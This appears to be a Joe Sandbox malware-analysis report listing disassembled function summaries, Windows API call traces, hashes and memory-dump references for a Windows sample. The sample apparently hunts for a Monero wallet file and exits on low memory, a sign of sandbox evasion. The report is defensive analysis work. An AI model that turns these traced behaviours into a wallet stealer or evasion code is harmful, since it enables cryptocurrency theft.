Associated: 00000000.00000002.2309286076.0000000000268000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000272000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000291000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.000000000029D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000385000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000003AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000005C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2311955334.00000000006E2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2312891850.0000000000880000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2313018808.0000000000881000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_file.jbxd

Yara matches

Similarity

API ID: File$Local$AllocCloseCreateFreeHandleReadSize
String ID:
API String ID: 2311089104-0
Opcode ID: b3ba4be4952bf0fda7d4eda45f334e19ce2322b7ae268d9c9711eaec7c98fd65
Instruction ID: 591532255690f3b2b90020ebbc8511d8f753968f1ef4f40b453e143229798692
Opcode Fuzzy Hash: b3ba4be4952bf0fda7d4eda45f334e19ce2322b7ae268d9c9711eaec7c98fd65
Instruction Fuzzy Hash: 51314DB4A00209EFDB24CF95D985FAE77B5FF88340F108168E905A7290D778A951CFA5

Function 001F4780 Relevance: 8.9, APIs: 7, Instructions: 101stringCOMMON

Download Yara Rule

APIs

lstrcat.KERNEL32(?,0143DB98), ref: 001F47DB

Part of subcall function 001F8DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 001F8E0B

lstrcat.KERNEL32(?,00000000), ref: 001F4801
lstrcat.KERNEL32(?,?), ref: 001F4820
lstrcat.KERNEL32(?,?), ref: 001F4834
lstrcat.KERNEL32(?,0142B338), ref: 001F4847
lstrcat.KERNEL32(?,?), ref: 001F485B
lstrcat.KERNEL32(?,0143D718), ref: 001F486F

Part of subcall function 001FA740: lstrcpy.KERNEL32(00200E17,00000000), ref: 001FA788

Part of subcall function 001F8D90: GetFileAttributesA.KERNEL32(00000000,?,001E1B54,?,?,0020564C,?,?,00200E1F), ref: 001F8D9F

Part of subcall function 001F4570: GetProcessHeap.KERNEL32(00000000,0098967F), ref: 001F4580
Part of subcall function 001F4570: RtlAllocateHeap.NTDLL(00000000), ref: 001F4587
Part of subcall function 001F4570: wsprintfA.USER32 ref: 001F45A6
Part of subcall function 001F4570: FindFirstFileA.KERNEL32(?,?), ref: 001F45BD

Memory Dump Source

Source File: 00000000.00000002.2309286076.00000000001E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2309078236.00000000001E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000268000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000272000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000291000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.000000000029D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000385000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000003AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000005C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2311955334.00000000006E2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2312891850.0000000000880000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2313018808.0000000000881000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$FileHeap$AllocateAttributesFindFirstFolderPathProcesslstrcpywsprintf
String ID:
API String ID: 2540262943-0
Opcode ID: 84e055cf200972fdc13d158b50a2dd7b504813e82b7a19231a06fefc897e7d59
Instruction ID: 98a096089f8b51102cadb716ed226c07b0b32be541328f338f579052238a2a83
Opcode Fuzzy Hash: 84e055cf200972fdc13d158b50a2dd7b504813e82b7a19231a06fefc897e7d59
Instruction Fuzzy Hash: 2E3152B690020CA7CB20F7A0DC85EFD7378BB58704F404599B71A96081EFB4D6898B95

Function 001E1220 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 41COMMON

Download Yara Rule

APIs

GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 001E123E
__aulldiv.LIBCMT ref: 001E1258
__aulldiv.LIBCMT ref: 001E1266
ExitProcess.KERNEL32 ref: 001E1294

Strings

@, xrefs: 001E1233

Memory Dump Source

Source File: 00000000.00000002.2309286076.00000000001E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2309078236.00000000001E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000268000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000272000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000291000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.000000000029D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000385000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000003AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000005C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2311955334.00000000006E2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2312891850.0000000000880000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2313018808.0000000000881000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_file.jbxd

Yara matches

Similarity

API ID: __aulldiv$ExitGlobalMemoryProcessStatus
String ID: @
API String ID: 3404098578-2766056989
Opcode ID: 2fad4ab93f5ce355fa1282406dfe74a4ab8dc38c86d27dac2cdd0beca2b28271
Instruction ID: 8960b92a67660115d9f5bd939b4eb842f57b153e01fff6a4bead4b2d7ddc36b7
Opcode Fuzzy Hash: 2fad4ab93f5ce355fa1282406dfe74a4ab8dc38c86d27dac2cdd0beca2b28271
Instruction Fuzzy Hash: 35016DB0D40348BBEF10DBE1DC49BAEBB78AB14705F248058F705B62C0D7B49645879D

Function 001F40B0 Relevance: 7.6, APIs: 5, Instructions: 124registrystringCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.KERNEL32(80000001,0143D6B8,00000000,00020119,?), ref: 001F40F4
RegQueryValueExA.ADVAPI32(?,0143DD48,00000000,00000000,00000000,000000FF), ref: 001F4118
RegCloseKey.ADVAPI32(?), ref: 001F4122
lstrcat.KERNEL32(?,00000000), ref: 001F4147
lstrcat.KERNEL32(?,0143DBB0), ref: 001F415B

Memory Dump Source

Source File: 00000000.00000002.2309286076.00000000001E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2309078236.00000000001E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000268000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000272000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000291000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.000000000029D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000385000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000003AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000005C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2311955334.00000000006E2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2312891850.0000000000880000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2313018808.0000000000881000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$CloseOpenQueryValue
String ID:
API String ID: 690832082-0
Opcode ID: c60f39d561c1c65485fab7205e612b781240a3096c28f726135babfa0cd576c3
Instruction ID: 596b2e633837b2fdeed0052aaa8e1174098d5bb7bc1ab771919eeab2b330a926
Opcode Fuzzy Hash: c60f39d561c1c65485fab7205e612b781240a3096c28f726135babfa0cd576c3
Instruction Fuzzy Hash: 6C41A8B6D001086BDB24FBA0DC46FFE733DAB98300F444558BB2657181EB759B998B92

Function 6C62C930 Relevance: 7.6, APIs: 5, Instructions: 83memoryCOMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?), ref: 6C62C947
VirtualAlloc.KERNEL32(?,?,00002000,00000001), ref: 6C62C969
GetSystemInfo.KERNEL32(?), ref: 6C62C9A9
VirtualFree.KERNEL32(00000000,?,00008000), ref: 6C62C9C8
VirtualAlloc.KERNEL32(00000000,?,00002000,00000001), ref: 6C62C9E2

Memory Dump Source

Source File: 00000000.00000002.2337686609.000000006C611000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2337646485.000000006C610000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337753567.000000006C68D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337778897.000000006C69E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337803036.000000006C6A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: Virtual$AllocInfoSystem$Free
String ID:
API String ID: 4191843772-0
Opcode ID: aabe9986c9463aa994963f3d37128140de22a25597353e79862284f939ae2420
Instruction ID: 943e09e7a95ea0106f3f5939e2322afa1f710b71d8c6c9ab933078f07ffd00c3
Opcode Fuzzy Hash: aabe9986c9463aa994963f3d37128140de22a25597353e79862284f939ae2420
Instruction Fuzzy Hash: C4210772B41205BBEB14AF25CCC4BAE73B9EB86744F50411AF947A7A40DB6098048B9D

Function 001F7E00 Relevance: 7.6, APIs: 5, Instructions: 58registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 001F7E37
RtlAllocateHeap.NTDLL(00000000), ref: 001F7E3E
RegOpenKeyExA.KERNEL32(80000002,0142B9D8,00000000,00020119,?), ref: 001F7E5E
RegQueryValueExA.KERNEL32(?,0143D4D8,00000000,00000000,000000FF,000000FF), ref: 001F7E7F
RegCloseKey.ADVAPI32(?), ref: 001F7E92

Memory Dump Source

Source File: 00000000.00000002.2309286076.00000000001E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2309078236.00000000001E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000268000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000272000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000291000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.000000000029D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000385000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000003AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000005C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2311955334.00000000006E2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2312891850.0000000000880000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2313018808.0000000000881000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: 99247fa9691057e7ad0b4c37714a5460ee29547f584e00002f87af426512ca9b
Instruction ID: 361b3f175e9075089aef78e6c2c90a88075a30fae5a2f37c4bf96ce2f3422bdb
Opcode Fuzzy Hash: 99247fa9691057e7ad0b4c37714a5460ee29547f584e00002f87af426512ca9b
Instruction Fuzzy Hash: DE119EB1B44209EBD714DF94DD4AFBBBBB8FB48B10F10412AFB05A7280D77458118BA5

Function 001E12A0 Relevance: 7.5, APIs: 5, Instructions: 39registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 001E12B4
RtlAllocateHeap.NTDLL(00000000), ref: 001E12BB
RegOpenKeyExA.KERNEL32(000000FF,?,00000000,00020119,?), ref: 001E12D7
RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,?,000000FF), ref: 001E12F5
RegCloseKey.ADVAPI32(?), ref: 001E12FF

Memory Dump Source

Source File: 00000000.00000002.2309286076.00000000001E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2309078236.00000000001E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000268000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000272000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000291000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.000000000029D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000385000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000003AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000005C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2311955334.00000000006E2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2312891850.0000000000880000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2313018808.0000000000881000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: 222f02674b40234c4a32ce5dc83a37776d0ee49a9e09bc3b7b9940f4729107f6
Instruction ID: cbbf0bed4623a268bf0b1ede3fb656fc360e459a551a8b1d6860a47204b42910
Opcode Fuzzy Hash: 222f02674b40234c4a32ce5dc83a37776d0ee49a9e09bc3b7b9940f4729107f6
Instruction Fuzzy Hash: 52011DB9A40208BBDB14DFE0DC49FAEB7B8EB48701F508169FE0597280DA719A158B55

Function 001EA0A0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 116libraryCOMMON

Download Yara Rule

APIs

GetEnvironmentVariableA.KERNEL32(014388B0,C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;,0000FFFF), ref: 001EA0BD
LoadLibraryA.KERNEL32(0143D798), ref: 001EA146

Part of subcall function 001FA740: lstrcpy.KERNEL32(00200E17,00000000), ref: 001FA788

Part of subcall function 001FA820: lstrlen.KERNEL32(001E4F05,?,?,001E4F05,00200DDE), ref: 001FA82B
Part of subcall function 001FA820: lstrcpy.KERNEL32(00200DDE,00000000), ref: 001FA885

Part of subcall function 001FA9B0: lstrlen.KERNEL32(?,01438AF0,?,\Monero\wallet.keys,00200E17), ref: 001FA9C5
Part of subcall function 001FA9B0: lstrcpy.KERNEL32(00000000), ref: 001FAA04
Part of subcall function 001FA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 001FAA12

Part of subcall function 001FA920: lstrcpy.KERNEL32(00000000,?), ref: 001FA972
Part of subcall function 001FA920: lstrcat.KERNEL32(00000000), ref: 001FA982

Part of subcall function 001FA8A0: lstrcpy.KERNEL32(?,00200E17), ref: 001FA905

SetEnvironmentVariableA.KERNEL32(014388B0,00000000,00000000,?,002012D8,?,?,C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;,00200AFE), ref: 001EA132

Strings

C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;, xrefs: 001EA0B2, 001EA0C6, 001EA0DC

Memory Dump Source

Source File: 00000000.00000002.2309286076.00000000001E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2309078236.00000000001E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000268000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000272000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000291000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.000000000029D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000385000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000003AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000005C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2311955334.00000000006E2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2312891850.0000000000880000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2313018808.0000000000881000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$EnvironmentVariablelstrcatlstrlen$LibraryLoad
String ID: C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;
API String ID: 2929475105-4027016359
Opcode ID: af6e263053adc5926b7f12a325b58c0ba317bdca0f2eced6ea5f0dad70ba8776
Instruction ID: 91ff555be3e44efd87284a4729bbfb5d35204aa5b1aeab59bff6b49d8509c2a3
Opcode Fuzzy Hash: af6e263053adc5926b7f12a325b58c0ba317bdca0f2eced6ea5f0dad70ba8776
Instruction Fuzzy Hash: 0E4193B1A01505AFC725DFA4EC45BAE33B4BB19301FD40038FD45A32A1DB35596ACBAB

Function 001EA260 Relevance: 6.4, APIs: 4, Instructions: 370filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 001FA740: lstrcpy.KERNEL32(00200E17,00000000), ref: 001FA788

Part of subcall function 001FA9B0: lstrlen.KERNEL32(?,01438AF0,?,\Monero\wallet.keys,00200E17), ref: 001FA9C5
Part of subcall function 001FA9B0: lstrcpy.KERNEL32(00000000), ref: 001FAA04
Part of subcall function 001FA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 001FAA12

Part of subcall function 001FA8A0: lstrcpy.KERNEL32(?,00200E17), ref: 001FA905

Part of subcall function 001F8B60: GetSystemTime.KERNEL32(00200E1A,01439C98,002005AE,?,?,001E13F9,?,0000001A,00200E1A,00000000,?,01438AF0,?,\Monero\wallet.keys,00200E17), ref: 001F8B86

